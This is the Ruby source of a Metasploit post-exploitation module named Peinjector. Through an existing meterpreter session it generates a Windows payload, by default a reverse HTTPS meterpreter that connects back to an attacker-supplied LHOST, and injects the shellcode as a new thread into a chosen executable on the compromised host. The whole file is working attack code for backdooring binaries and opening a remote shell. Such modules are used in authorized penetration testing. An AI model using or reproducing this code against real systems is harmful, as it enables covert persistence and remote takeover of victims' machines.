1
require 'rex'
2

3
class MetasploitModule < Msf::Post
4

5
  include Msf::Post::Common
6

7
  def initialize(info = {})
8
    super(
9
      update_info(
10
        info,
11
        'Name' => 'Peinjector',
12
        'Description' => %q{
13
          This module will inject a specified windows payload into a target executable.
14
        },
15
        'License' => MSF_LICENSE,
16
        'Author' => [ 'Maximiliano Tedesco <[email protected]>'],
17
        'Platform' => [ 'win' ],
18
        'SessionTypes' => [ 'meterpreter' ],
19
        'Compat' => {
20
          'Meterpreter' => {
21
            'Commands' => %w[
22
              peinjector_inject_shellcode
23
            ]
24
          }
25
        },
26
        'Notes' => {
27
          'Stability' => [CRASH_SERVICE_DOWN],
28
          'SideEffects' => [CONFIG_CHANGES],
29
          'Reliability' => []
30
        }
31
      )
32
    )
33

34
    register_options(
35
      [
36
        OptString.new('PAYLOAD', [false, 'Windows Payload to inject into the targer executable.', 'windows/meterpreter/reverse_https']),
37
        OptAddress.new('LHOST', [true, 'IP of host that will receive the connection from the payload.']),
38
        OptInt.new('LPORT', [false, 'Port for Payload to connect to.', 4433]),
39
        OptString.new('TARGETPE', [false, 'Path of the target executable to be injected']),
40
        OptString.new('OPTIONS', [false, "Comma separated list of additional options for payload if needed in \'opt=val,opt=val\' format."])
41
      ]
42
    )
43
  end
44

45
  def run
46
    session.core.use('peinjector')
47

48
    # syinfo is only on meterpreter sessions
49
    hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
50
    print_status("Running module against #{hostname} (#{session.session_host})")
51

52
    # Check that the payload is a Windows one and on the list
53
    if !session.framework.payloads.module_refnames.grep(/windows/).include?(datastore['PAYLOAD'])
54
      print_error("The Payload specified #{datastore['PAYLOAD']} is not a valid for this system")
55
      return
56
    end
57

58
    # Set variables
59
    pay_name = datastore['PAYLOAD']
60
    lhost = datastore['LHOST']
61
    lport = datastore['LPORT']
62
    targetpe = datastore['TARGETPE']
63
    opts = datastore['OPTIONS']
64

65
    # Create payload
66
    payload = create_payload(pay_name, lhost, lport, opts)
67

68
    # Inject payload
69
    inject_payload(payload, targetpe)
70
  end
71

72
  # Create a payload given a name, lhost and lport, additional options
73
  def create_payload(name, lhost, lport, opts = '')
74
    pay = client.framework.payloads.create(name)
75
    pay.datastore['LHOST'] = lhost
76
    pay.datastore['LPORT'] = lport
77
    pay.datastore['EXITFUNC'] = 'thread'
78
    pay.available_space = 1.gigabyte # this is to generate a proper uuid and make the payload to work with the universal handler
79

80
    if !opts.blank?
81
      opts.split(',').each do |o|
82
        opt, val = o.split('=', 2)
83
        pay.datastore[opt] = val
84
      end
85
    end
86
    # Validate the options for the module
87
    pay.options.validate(pay.datastore)
88
    return pay
89
  end
90

91
  def inject_payload(pay, targetpe)
92
    print_status('Generating payload')
93
    raw = pay.generate
94
    param = {}
95

96
    if pay.arch.join == ARCH_X64
97
      threaded_shellcode = client.peinjector.add_thread_x64(raw)
98
      param[:isx64] = true
99
    else
100
      threaded_shellcode = client.peinjector.add_thread_x86(raw)
101
      param[:isx64] = false
102
    end
103

104
    param[:shellcode] = threaded_shellcode
105
    param[:targetpe] = targetpe
106
    param[:size] = threaded_shellcode.length
107

108
    print_status("Injecting #{pay.name} into the executable #{param[:targetpe]}")
109
    client.peinjector.inject_shellcode(param)
110
    print_good("Successfully injected payload into the executable: #{param[:targetpe]}")
111
  rescue StandardError => e
112
    print_error("Failed to Inject Payload to executable #{param[:targetpe]}!")
113
    print_error(e.to_s)
114
  end
115
end
116

117